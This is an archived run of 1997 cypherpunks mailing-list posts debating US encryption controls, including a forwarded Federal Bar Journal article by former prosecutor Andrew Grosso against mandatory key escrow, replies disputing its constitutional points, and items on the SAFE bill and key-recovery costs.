>At 10:45 PM 9/18/97 -0700, Wei Dai wrote:
>>Many of us believe that a crypto ban is inevitable. The only
>>question for us is whether it'll happen sooner or later. Seen in
>>this perspective, all that industry and civil liberties lobbies can
>>do is delay the ban. But is this necessarily a good thing?

>Yes.  Later is bad, but sooner is worse.  First of all, "Soon" means
>"We lost already", while "Later" means "We haven't lost yet, even
>though it looks pretty much like we're going to lose later,...

Even if we lose a battle legislatively tomorrow, this does not mean we
have "lost".  In practice, people can still write code and distribute
it, the same way people are still making LSD, growing mushrooms, or
growing marijuana.  Code propagates easily which means that so long as
there is any place in the world where it can be safely used, it will
be.

Even if it is illegal throughout the world, there are going to be
places where the local administrators are too corrupt or incompetent
to really enforce the law.  (The law is more or less impossible to
enforce anyway because you have to charge people with possession of
random data.)

This means that somebody will be using the stuff, and the New
Renaissance will still happen, but the benefits will have to propagate
back into the United States for a change.

The greatest risk is of a major government going "ape" over this issue
and randomly persecuting those they suspect of doing illegal
arithmetic without real evidence or real trials.  The passing of a law
may mitigate this because they will feel as if they are doing
something, even if the "problem" was not entirely solved.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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tvZGXJWGRHB4e4VRf+OAttaP7Aalqx83AHMXe6WhhDUFqXJ7WmhkQw==
=UOyl
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 20 Sep 1997 01:44:44 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother  amendment!
In-Reply-To: <199709191521.IAA14754@comsec.com>
Message-ID: <v03102800b04865b58449@[207.226.3.13]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:27 PM -0400 9/19/97, Carl Ellison wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
>
> At 02:47 PM 9/18/97 -0400, you wrote:
> >3. Say that you're calling to urge the Congressman to pass SAFE (HR695)
> >   without amendments.
>
> Does that mean Goodlatte's original bill, or the bill as amended already by
> the National Security Subcommittee?
>
> I believe you should be more specific in your instructions -- suggesting
> that people ask for the bill to be voted against unless it is exactly as it
> was prior to the Natl Sec involvement.

As each committee gets their hands on the bill, they do their own changes
to versions and then they are all merged later before going to the floor.
So, no, we're not asking people to urge passage of the SAFE bill with all
the awful National Security amendments.

It's a good suggestion, which we'll make clearer next time.

-S






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 20 Sep 1997 02:36:24 +0800
To: cypherpunks@toad.com
Subject: Costs of Mandatory Key Recovery
Message-ID: <v031107b2b04870c03184@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: fred@stilton.cisco.com
Mime-Version: 1.0
Date: Fri, 19 Sep 1997 07:54:35 -0700
To: ipsec@tis.com
From: Fred Baker <fred@cisco.com>
Subject: Costs of Mandatory Key Recovery
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

If you could email any hard numbers as to expected costs to Don Heath
<heath@isoc.org>, it would be helpful.




>>Date: Wed, 17 Sep 1997 10:55:55 -0400
>>From: Philip Webre <philipw.nrd@cbo.gov>
>>To: heath@isoc.org
>>Subject: Costs of Mandatory Key Recovery
>>Content-Disposition: inline
>>
>>As I explained over the telephone, we are trying to estimate
>>the private sector costs associated with mandatory key
>>recovery in the US.  Thursday the House Intelligence
>>Committees passed an amended version of HR 695 that
>>would mandate immediate key recovery in all encryption
>>products sold, imported or distributed in the US after
>>January 31, 2000.  It further imposes this requirement
>>on Internet service providers who provide encryption
>>services when presented by a warrant from a duly authorized
>>law enforcement official.
>>
>>We expect that within an organization like a corporate
>>LAN, key recovery can be mandated in a straight forward
>>manner.  But since the relationship between an ISP
>>and its client is more distant, very different mechanisms
>>and cost structure would surface.  I would be very
>>interested in any information you could provide regarding
>>the costs associated with such a mandate.
>>
>>Address:
>>Philip Webre
>>Congressional Budget Office
>>Natural Resources and Commerce Division
>>495 Ford House Office Bldg.
>>Washington, D.C. 20515
>>Fax Number:  202-226-0207
>>Voice:       202-226-2940
>>Internet:    Philipw@CBO.GOV
>

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
"Planning is bringing the future into the present so that you can do
something about it now." Alan Lakein

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Fri, 19 Sep 1997 20:38:37 +0800
To: cypherpunks@toad.com
Subject: Judo -> Aikido...
In-Reply-To: <19970913205340.14699.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <19970919141542.45765@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain



--- On Sep 15, Dan Geer apparently wrote --------------------------------------

> i recall Tzu also saying that you need to use
> the enemy's momentum to your advantage, the 
> principle of judo if you will.  in parallel,

This has  nothing to do  with cypherpunks, but  I just could  not resist
seeing a reference to  a martial art that I still  love to practice. Dan
most likely  refers to Aikido  (and not Judo)  here. A martial  art that
uses the momentum/force  of the "partner" to disarm  h{im,er} and change
the "attack" to a victory in your advantage...

> revolutionaries of many stripes have found
> that "heightening the contrast" is necessary
> if you mean for real change to occur.  

--- and thus sprach: Dan Geer <geer@world.std.com> ----------------------------

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster ================================================
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog With A Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Sat, 20 Sep 1997 05:23:47 +0800
To: cypherpunks@Algebra.COM
Subject: key escrow arguments (fwd)
Message-ID: <199709192116.OAA03098@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



This is a very well-written article, so I am forwarding this to
cypherpunks@algebra.com and cryptography@c2.net so everyone can see
it.  Apologies in advance to those seeing double or triple copying due
to the forwards.

Ern

 From: "David W. Crawford" <dc@panix.com>
 Subject: key escrow arguments (fwd)
 
 Forwarded message:
 From rre-request@weber.ucsd.edu Thu Sep 18 23:31:28 1997
 Date: Thu, 18 Sep 1997 17:39:21 -0700 (PDT)
 From: Phil Agre <pagre@weber.ucsd.edu>
 To: rre@weber.ucsd.edu
 Subject: key escrow arguments
 
 Date: Thu, 18 Sep 1997 13:08:56 -0400
 From: Andrew Grosso <agrosso@ACCESS.DIGEX.NET>
 
 [Published last year in the Federal Bar Journal.]
 
 THE LAW ENFORCEMENT ARGUMENT FOR MANDATORY
 KEY ESCROW ENCRYPTION: THE "DANK" CASE
 REVISITED
 by Andrew Grosso
 
      (This article is a revised version of a talk given by the
 author at the 1996 RSA Data Security Conference, held in San
 Francisco, California.  Mr. Grosso is a former federal prosecutor
 who now has his own law practice in Washington, D.C.  His e-mail
 address is agrosso@acm.org.)
 
      I would like to start by telling a war story.  Some years ago,
 while I was an Assistant U.S. Attorney, I was asked to try a case
 which had been indicted by one of my colleagues.  For reasons
 which will become clear, I refer to this case as "the Dank case."
 
      The defendant was charged with carrying a shotgun.  This
 might not seem so serious, but the defendant had a prior record.  In
 fact, he had six prior convictions, three of which were considered
 violent felonies.  Because of that, this defendant was facing a
 mandatory fifteen years imprisonment, without parole.  Clearly, he
 needed an explanation for why he was found in a park at night
 carrying a shotgun.  He came up with one.
 
      The defendant claimed that another person, called "Dank,"
 forced him to carry the gun.  "Dank," it seems, came up to him in
 the park, put the shotgun in his hands, and then pulled out a
 handgun and put the handgun to the defendant's head.  "Dank" then
 forced the defendant to walk from one end of the park to other,
 carrying this shotgun.  When the police showed up, "Dank" ran
 away, leaving the defendant holding the bag, or, in this case, the
 shotgun.
 
      The jurors chose not to believe the defendant's story,
 although they spent more time considering it than I would like to
 admit.  After the trial,  the defendant's story became known in my
 office as "the Dank defense."  As for  myself, I referred to it as "the
 devil made me do it."
 
      I tell you this story because it reminds me of the federal
 government's efforts to justify domestic control of encryption.
 Instead, of "Dank,"  it has become, "drug dealers made me do it;"
 or "terrorists made me do it;" or "crypto anarchists made me do it."
 There is as much of a rationale basis behind these claims as there
 was behind my defendant's story of "Dank."  Let us examine some
 of the arguments the government has advanced.
 
      It is said that wiretapping is indispensable to law
 enforcement.  This is not the case.  Many complex and difficult
 criminal investigations have been successfully concluded, and
 successfully argued to a jury, where no audio tapes existed of the
 defendants incriminating themselves.  Of those significant cases,
 cited by the government, where audio tapes have proved
 invaluable, such as in the John Gotti trial, the tapes have been
 made through means of electronic surveillance other than wire
 tapping, for example, through the use of consensual monitoring or
 room bugs.  The unfetted use of domestic encryption could have no
 effect on such surveillance.
 
      It is also said that wiretapping is necessary to prevent
 crimes.  This, also, is not the case.  In order to obtain a court order
 for a wire tap, the government must first possess probable cause
 that a crime is being planned or is in progress.  If the government
 has such probable cause concerning a crime yet in the planning
 stages, and has sufficient detail about the plan to tap an individual's
 telephone, then the government almost always has enough
 probable cause to prevent the crime from being committed.  The
 advantage which the government gains by use of a wiretap is the
 chance to obtain additional evidence which can later be used to
 convict the conspirators or perpetrators. Although such convictions
 are desirable, they must not be confused with the ability to prevent
 the crime.
 
      The value of mandating key escrow encryption is further
 eroded by the availability of super encryption, that is, using an
 additional encryption where the key is not available to the
 government.  True, the government's mandate would make such
 additional encryption illegal; however the deterrence effect of such
 legislation is dubious at best.  An individual planning a terrorist
 act, or engaging in significant drug importation, will be little
 deterred by prohibitions on the means for encoding his telephone
 conversations.  The result is that significant crimes will not be
 affected or discouraged.
 
      In a similar vein, the most recent estimates of the national
 cost for implementing the Digital Telephony law, which requires
 that commercial telecommunications companies wiretap our
 nation's communications network for the government's benefit, is
 approximately three billion dollars.  Three billion dollars will buy
 an enormous number of police man hours, officer training, and
 crime fighting equipment.  It is difficult to see that this amount of
 money, by being spent on wire tapping the nation,  is being spent
 most advantageously with regard to law enforcement's needs.
 
      Finally, the extent of the federal government's ability to
 legislate in this area is limited.  Legislation for the domestic
 control of encryption must be based upon the commerce clause of
 the U.S. Constitution.  That clause would not prohibit an individual
 in, say, the state of California from purchasing an encryption
 package manufactured in California, and using that package to
 encode data on the hard drive of his computer, also located in
 California.  It is highly questionable whether the commerce clause
 would prohibit the in-state use of an encryption package which had
 been obtained from out of state, where all the encryption in done
 in-state and the encrypted data is maintained in- state.  Such being
 the case, the value of domestic control of encryption to law
 enforcement is doubtful.
 
      Now let us turn to the disadvantages of domestic control of
 encryption.  Intentionally or not, such control would shift the
 balance which exists between the individual and the state.  The
 individual would no longer be free to conduct his personal life, or
 his business, free from the risk that the government may be
 watching every move.  More to the point, the individual would be
 told that he would no longer be allowed to even try to conduct his
 life in such a manner.  Under our constitution, it has never been the
 case that the state had the right to obtain evidence in a criminal
 investigation.  Rather, under our constitution, the state was given
 the right to attempt to obtain such evidence.  The distinction is
 crucial:  it is the difference between the operation of a free society,
 and the operation of a totalitarian state.
 
      Our constitution is based upon the concept of ordered
 liberty.  That is, there is a balance between law and order, on the
 one hand, and the liberty of the individual on the other.  This is
 clearly seen in our country's bill of rights, and the constitutional
 protections afforded our accused:  evidence improperly obtained is
 suppressed; there is a ban on the use of involuntary custodial
 interrogation, including torture, and any questioning of the accused
 without a lawyer; we require unanimous verdicts for convictions;
 and double jeopardy and bills of attainder are prohibited.  In other
 words, our system of government expressly tolerates a certain level
 of crime and disorder in order to preserve liberty and individuality.
 It is difficult to conceive that the same constitution which is
 prepared to let a guilty man go free, rather than admit an illegally
 seized murder weapon into evidence at trial, can be interpreted to
 permit whole scale, nationwide, mandatory surveillance of our
 nation's telecommunications system for law enforcement purposes.
 It is impossible that the philosophy upon which our system of
 government was founded could ever be construed to accept such a
 regime.
 
      I began this talk with a war story, and I would like to end it
 with another war story.  While a law student, I had the opportunity
 to study in London for a year.  While there, I took one week, and
 spent it touring the old Soviet Union.  The official Soviet tour
 guide I was assigned was an intelligent woman.  As a former
 Olympic athlete, she had been permitted in the 1960's to travel to
 England to compete in international tennis matches.  At one point
 in my tour, she asked me why I was studying in London.  I told her
 that I wanted to learn what it was like to live outside of my own
 country, so I chose to study in a country where I would have little
 trouble with the language.  I noticed a strange expression on her
 face as I said this.  It was not until my tour was over and I looked
 back on that conversation that I realized why my answer had
 resulted in her having that strange look.  What I had said to her was
 that I had chosen to go to overseas to study; further, I had said that
 I had chosen where to go.  That I could make such decisions  was a
 right which she and the fellow citizens did not have.  Yes, she had
 visited England, but it was because her government chose her to
 go, and it was her government which decided where she should go.
 In her country, at that time, her people had order, but they had no
 liberty.
 
      In our country, the domestic control of encryption
 represents a shift in the balance of our liberties.  It is a shift not
 envisioned by our constitution.  If  ever to be taken, it must be
 based upon a better defense than what "Dank," or law enforcement,
 can provide.
 
 end





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 20 Sep 1997 04:22:56 +0800
To: "David Downey" <digital_matrix@hotmail.com>
Subject: Re: sooner or later
In-Reply-To: <199709191823.LAA10185@f48.hotmail.com>
Message-ID: <199709191959.PAA15928@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199709191823.LAA10185@f48.hotmail.com>, on 09/19/97 
   at 11:23 AM, "David Downey" <digital_matrix@hotmail.com> said:

>>Bill Stewart wrote:
>>>At 10:45 PM 9/18/97 -0700, Wei Dai wrote:
>>>>Many of us believe that a crypto ban is inevitable. The only
>>>>question for us is whether it'll happen sooner or later. Seen in
>>>>this perspective, all that industry and civil liberties lobbies can
>>>>do is delay the ban. But is this necessarily a good thing?
>>
>>>Yes.  Later is bad, but sooner is worse.  First of all, "Soon" means
>>>"We lost already", while "Later" means "We haven't lost yet, even
>>>though it looks pretty much like we're going to lose later,...
>>

> The only way I see us losing is if we do not stand together. I do see 
>that we will need to go underground ofr awhile, but when they see that 
>they will always have a problem with us, they will eventually have to 
>deal with us. That is unless they want to turn the US into a real life 
>version of the movie Red Dawn!


Oh I wouldn't be feeling to optimistic with that. We in the
crypto/anarchist community are a very small minority. Our govenrmnet would
have no qualms at all of taking us out. A nice little Reichstag Fire to
turn popular opinion against us and then the storm troopers will be sent
out. If you are expecting some type of popular support of "us" against
"them" I think you are sorely mistaken. The majority of the sheeple would
be all to happy to turn in those evil cryptologist for their 5min of fame.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sat, 20 Sep 1997 06:36:34 +0800
To: dc@panix.com
Subject: Re: key escrow arguments (fwd)
Message-ID: <19970919222321.1672.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




      Am I just being paranoid or am I seeing a pattern here? Let me 
point out a few items that have sprung to mind after reading the post. 

1) The government is trying to take away our right to strong private    
crypto because they do not have access to the decrypting key at    
either end. This nullifies any type of access they "need" to have    to 
those transmissions. 

2) They also are trying to use their market power to force companies    
to manufacture and sell crypto products that use government backed    
algorythms. (Which of course include the "back door" features they    so 
loudly claim they need.) Such as when they told AT&T that they    would 
buy 2.3 million Secure 3600 series phones from them *if* they       put 
the government designed Fortezza(?) chip in them.

3) They classified crypto as a munition, like a fighter jet or tank,    
in an attempt to take it out of the realm of Constitutional Right.    
(Though it seems they forgot about the "Right to bear arms" part) 

4) They forced the telephone industry to write their software in such    
a way as to instantly allow them access to any and *all* lines. 
   (In the event that they should "need" to tap the line as per a    
supposedly legally obtained court order from an Artical III federal    
court judge. (Ummm.. Do they really think that we don't know what    it 
takes to obtain that high a level of a political seating in the          
judiciary branch?)

5) They stirred up the media which in turn roused the sheeple. THe    
rally cry was child porn.


      Is there a pattern here, or am I just going out of what is left of 
my mind?






______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David W. Crawford" <dc@panix.com>
Date: Sat, 20 Sep 1997 04:00:52 +0800
To: cypherpunks@toad.com
Subject: key escrow arguments (fwd)
Message-ID: <42>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:
>From rre-request@weber.ucsd.edu Thu Sep 18 23:31:28 1997
Resent-Date: Thu, 18 Sep 1997 17:47:16 -0700 (PDT)
Date: Thu, 18 Sep 1997 17:39:21 -0700 (PDT)
Message-Id: <199709190039.RAA19449@weber.ucsd.edu>
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: key escrow arguments
Resent-Message-ID: <"36_1eD.A.HwE.7mcI0"@weber>
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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Send any replies to the original author, listed in the From: field below.
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Date: Thu, 18 Sep 1997 13:08:56 -0400
From: Andrew Grosso <agrosso@ACCESS.DIGEX.NET>

[Published last year in the Federal Bar Journal.]

THE LAW ENFORCEMENT ARGUMENT FOR MANDATORY
KEY ESCROW ENCRYPTION: THE "DANK" CASE
REVISITED
by Andrew Grosso

     (This article is a revised version of a talk given by the
author at the 1996 RSA Data Security Conference, held in San
Francisco, California.  Mr. Grosso is a former federal prosecutor
who now has his own law practice in Washington, D.C.  His e-mail
address is agrosso@acm.org.)

     I would like to start by telling a war story.  Some years ago,
while I was an Assistant U.S. Attorney, I was asked to try a case
which had been indicted by one of my colleagues.  For reasons
which will become clear, I refer to this case as "the Dank case."

     The defendant was charged with carrying a shotgun.  This
might not seem so serious, but the defendant had a prior record.  In
fact, he had six prior convictions, three of which were considered
violent felonies.  Because of that, this defendant was facing a
mandatory fifteen years imprisonment, without parole.  Clearly, he
needed an explanation for why he was found in a park at night
carrying a shotgun.  He came up with one.

     The defendant claimed that another person, called "Dank,"
forced him to carry the gun.  "Dank," it seems, came up to him in
the park, put the shotgun in his hands, and then pulled out a
handgun and put the handgun to the defendant's head.  "Dank" then
forced the defendant to walk from one end of the park to other,
carrying this shotgun.  When the police showed up, "Dank" ran
away, leaving the defendant holding the bag, or, in this case, the
shotgun.

     The jurors chose not to believe the defendant's story,
although they spent more time considering it than I would like to
admit.  After the trial,  the defendant's story became known in my
office as "the Dank defense."  As for  myself, I referred to it as "the
devil made me do it."

     I tell you this story because it reminds me of the federal
government's efforts to justify domestic control of encryption.
Instead, of "Dank,"  it has become, "drug dealers made me do it;"
or "terrorists made me do it;" or "crypto anarchists made me do it."
There is as much of a rationale basis behind these claims as there
was behind my defendant's story of "Dank."  Let us examine some
of the arguments the government has advanced.

     It is said that wiretapping is indispensable to law
enforcement.  This is not the case.  Many complex and difficult
criminal investigations have been successfully concluded, and
successfully argued to a jury, where no audio tapes existed of the
defendants incriminating themselves.  Of those significant cases,
cited by the government, where audio tapes have proved
invaluable, such as in the John Gotti trial, the tapes have been
made through means of electronic surveillance other than wire
tapping, for example, through the use of consensual monitoring or
room bugs.  The unfetted use of domestic encryption could have no
effect on such surveillance.

     It is also said that wiretapping is necessary to prevent
crimes.  This, also, is not the case.  In order to obtain a court order
for a wire tap, the government must first possess probable cause
that a crime is being planned or is in progress.  If the government
has such probable cause concerning a crime yet in the planning
stages, and has sufficient detail about the plan to tap an individual's
telephone, then the government almost always has enough
probable cause to prevent the crime from being committed.  The
advantage which the government gains by use of a wiretap is the
chance to obtain additional evidence which can later be used to
convict the conspirators or perpetrators. Although such convictions
are desirable, they must not be confused with the ability to prevent
the crime.

     The value of mandating key escrow encryption is further
eroded by the availability of super encryption, that is, using an
additional encryption where the key is not available to the
government.  True, the government's mandate would make such
additional encryption illegal; however the deterrence effect of such
legislation is dubious at best.  An individual planning a terrorist
act, or engaging in significant drug importation, will be little
deterred by prohibitions on the means for encoding his telephone
conversations.  The result is that significant crimes will not be
affected or discouraged.

     In a similar vein, the most recent estimates of the national
cost for implementing the Digital Telephony law, which requires
that commercial telecommunications companies wiretap our
nation's communications network for the government's benefit, is
approximately three billion dollars.  Three billion dollars will buy
an enormous number of police man hours, officer training, and
crime fighting equipment.  It is difficult to see that this amount of
money, by being spent on wire tapping the nation,  is being spent
most advantageously with regard to law enforcement's needs.

     Finally, the extent of the federal government's ability to
legislate in this area is limited.  Legislation for the domestic
control of encryption must be based upon the commerce clause of
the U.S. Constitution.  That clause would not prohibit an individual
in, say, the state of California from purchasing an encryption
package manufactured in California, and using that package to
encode data on the hard drive of his computer, also located in
California.  It is highly questionable whether the commerce clause
would prohibit the in-state use of an encryption package which had
been obtained from out of state, where all the encryption in done
in-state and the encrypted data is maintained in- state.  Such being
the case, the value of domestic control of encryption to law
enforcement is doubtful.

     Now let us turn to the disadvantages of domestic control of
encryption.  Intentionally or not, such control would shift the
balance which exists between the individual and the state.  The
individual would no longer be free to conduct his personal life, or
his business, free from the risk that the government may be
watching every move.  More to the point, the individual would be
told that he would no longer be allowed to even try to conduct his
life in such a manner.  Under our constitution, it has never been the
case that the state had the right to obtain evidence in a criminal
investigation.  Rather, under our constitution, the state was given
the right to attempt to obtain such evidence.  The distinction is
crucial:  it is the difference between the operation of a free society,
and the operation of a totalitarian state.

     Our constitution is based upon the concept of ordered
liberty.  That is, there is a balance between law and order, on the
one hand, and the liberty of the individual on the other.  This is
clearly seen in our country's bill of rights, and the constitutional
protections afforded our accused:  evidence improperly obtained is
suppressed; there is a ban on the use of involuntary custodial
interrogation, including torture, and any questioning of the accused
without a lawyer; we require unanimous verdicts for convictions;
and double jeopardy and bills of attainder are prohibited.  In other
words, our system of government expressly tolerates a certain level
of crime and disorder in order to preserve liberty and individuality.
It is difficult to conceive that the same constitution which is
prepared to let a guilty man go free, rather than admit an illegally
seized murder weapon into evidence at trial, can be interpreted to
permit whole scale, nationwide, mandatory surveillance of our
nation's telecommunications system for law enforcement purposes.
It is impossible that the philosophy upon which our system of
government was founded could ever be construed to accept such a
regime.

     I began this talk with a war story, and I would like to end it
with another war story.  While a law student, I had the opportunity
to study in London for a year.  While there, I took one week, and
spent it touring the old Soviet Union.  The official Soviet tour
guide I was assigned was an intelligent woman.  As a former
Olympic athlete, she had been permitted in the 1960's to travel to
England to compete in international tennis matches.  At one point
in my tour, she asked me why I was studying in London.  I told her
that I wanted to learn what it was like to live outside of my own
country, so I chose to study in a country where I would have little
trouble with the language.  I noticed a strange expression on her
face as I said this.  It was not until my tour was over and I looked
back on that conversation that I realized why my answer had
resulted in her having that strange look.  What I had said to her was
that I had chosen to go to overseas to study; further, I had said that
I had chosen where to go.  That I could make such decisions  was a
right which she and the fellow citizens did not have.  Yes, she had
visited England, but it was because her government chose her to
go, and it was her government which decided where she should go.
In her country, at that time, her people had order, but they had no
liberty.

     In our country, the domestic control of encryption
represents a shift in the balance of our liberties.  It is a shift not
envisioned by our constitution.  If  ever to be taken, it must be
based upon a better defense than what "Dank," or law enforcement,
can provide.

end






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 20 Sep 1997 05:22:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key escrow arguments (fwd)
In-Reply-To: <42@MAIL-RELAY.PCY.MCI.NET>
Message-ID: <Chameleon.874699989.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



=snip=
Date: Thu, 18 Sep 1997 13:08:56 -0400
From: Andrew Grosso <agrosso@ACCESS.DIGEX.NET>

[Published last year in the Federal Bar Journal.]

THE LAW ENFORCEMENT ARGUMENT FOR MANDATORY
KEY ESCROW ENCRYPTION: THE "DANK" CASE
REVISITED
by Andrew Grosso
=snip=
A few comments on some statements the author makes that stuck me as I read 
them...

>     Finally, the extent of the federal government's ability to
>legislate in this area is limited.  Legislation for the domestic
>control of encryption must be based upon the commerce clause of
>the U.S. Constitution.  That clause would not prohibit an individual
>in, say, the state of California from purchasing an encryption
>package manufactured in California, and using that package to
>encode data on the hard drive of his computer, also located in
>California.  It is highly questionable whether the commerce clause
>would prohibit the in-state use of an encryption package which had
>been obtained from out of state, where all the encryption in done
>in-state and the encrypted data is maintained in- state.  Such being
>the case, the value of domestic control of encryption to law
>enforcement is doubtful.

this person has obviously no familiarity with the tenuous nature of most 
"commerce clause" claims. if they can claim that a potato farmer, growing 
tomatoes locally, selling and transporting his harvest locally still falls 
under the 'commerce clause' rationale for some legislation, they can pretty 
well call anything 'interstate commerce'.

=snip=
I'll treat this next bit incrementally. 

>     Our constitution is based upon the concept of ordered
>liberty.  That is, there is a balance between law and order, on the
>one hand, and the liberty of the individual on the other.  This is
>clearly seen in our country's bill of rights, and the constitutional
>protections afforded our accused:  evidence improperly obtained is
>suppressed; 

not any more. all the cops or whoever has to do is claim  a 'good faith' 
exemption for the search, and, Bingo! it is suddenly admissable. There are 
several recent Supreme Court cases on this.

>there is a ban on the use of involuntary custodial
>interrogation, including torture, and any questioning of the accused
>without a lawyer; 

This, likewise has been narrowed in recent years by the court. One thing to 
remember if you are being spoken to by some jack-booted thug working for 
some level of the state, is to say =nothing= to them. They can sit there 
and question you at length, and until you think to demand a lawyer, you are 
screwed everything up to that point is admissable. There have even been 
recent erosions of what constitutes asking for a lawyer.

>we require unanimous verdicts for convictions;

Ever since the O.J. trial, there have been calls to eliminate this. I 
wouldn't be suprised to see it within a decade.

>and double jeopardy and bills of attainder are prohibited.  

This is absolutely laughable. You can be tried in state, federal and civil 
court for the same crime. This is all perfectly fine as faer as the courts 
are concerned. Likewise, there are so many laws now on the books, that if 
they can't get a conviction on one charge, there is a pretty good chance 
there is another charge they can make.

>In other
>words, our system of government expressly tolerates a certain level
>of crime and disorder in order to preserve liberty and individuality.

This is no longer true.

>It is difficult to conceive that the same constitution which is
>prepared to let a guilty man go free, rather than admit an illegally
>seized murder weapon into evidence at trial, can be interpreted to
>permit whole scale, nationwide, mandatory surveillance of our
>nation's telecommunications system for law enforcement purposes.
>It is impossible that the philosophy upon which our system of
>government was founded could ever be construed to accept such a
>regime.

I laugh at that. 


>    In our country, the domestic control of encryption
>represents a shift in the balance of our liberties.  It is a shift not
>envisioned by our constitution.  If  ever to be taken, it must be
>based upon a better defense than what "Dank," or law enforcement,
>can provide.


true enough. the problem is, that there is no defense for it. it is a basic 
binary decision. either you can speak freely or not. 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/19/97
Time: 15:57:50
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 20 Sep 1997 09:07:01 +0800
To: cypherpunks@toad.com
Subject: Crypto-opponent senator to run for president?
Message-ID: <Pine.GSO.3.95.970919175841.12883d-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




[Sen. McCain, chair of Senate Commerce, is dancing around the idea of
running for president. Folks who are interested in privacy may remember
that he was more than slightly involved in the McCain-Kerrey bill. His
committee approved it, which derailed pro-crypto legislation in the
Senate. Not only that, he seems to be holding onto the bill (not reporting
it) to prevent any other committees from improving it. Judiciary in
particular would like to consider it. Note they wouldn't make it a
//good// bill, just not quite as bad. --Declan]

***************

	19  MCCAIN:  PRESIDENTIAL AMBITIONS?
	Washington Times' Hallow notes that "the first words" out of
Sen. John McCain's (R-AZ) mouth at a 9/19 luncheon with political
reporters "alluded to his running for higher office."  Noting
that he had "slimmed down," McCain joked: "Anyone who wants to be
emperor has to do that, and I'd much prefer that than president." 
McCain "acknowledged" that "he is positioning himself
ideologically somewhere between" NC Sen. Jesse Helms and ex-MA
Gov. Bill Weld (9/19).
	McCain responded to Hallow's story during C-SPAN's
"Washington Journal": "I was asked if I was considering running
for President of the United States and I said exactly what I've
been saying for a long time now, exactly that.  I said I will
examine the option in 1998. ... I don't have a PAC, I don't have
a committee, I don't have an organization.  I don't have any of
the accouterments that go to a presidential campaign and I don't
intend to have one unless I decide to run" (9/19).
	USA Today's Lawrence profiles McCain.  Does he think about
running for president?  "Nightly," he jokes.  McCain "says the
one-word description of his candidacy is 'impractical.'  He reels
off complications," from his Senate race, late start and
opposition to ethanol subsidies to his support for MFN for China;
"from the risque past he knows would arise in a national campaign
to his sense that Americans do not long for 'something different
than the standard politician'" (9/19).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>
Date: Sat, 20 Sep 1997 08:16:50 +0800
To: cypherpunks@toad.com
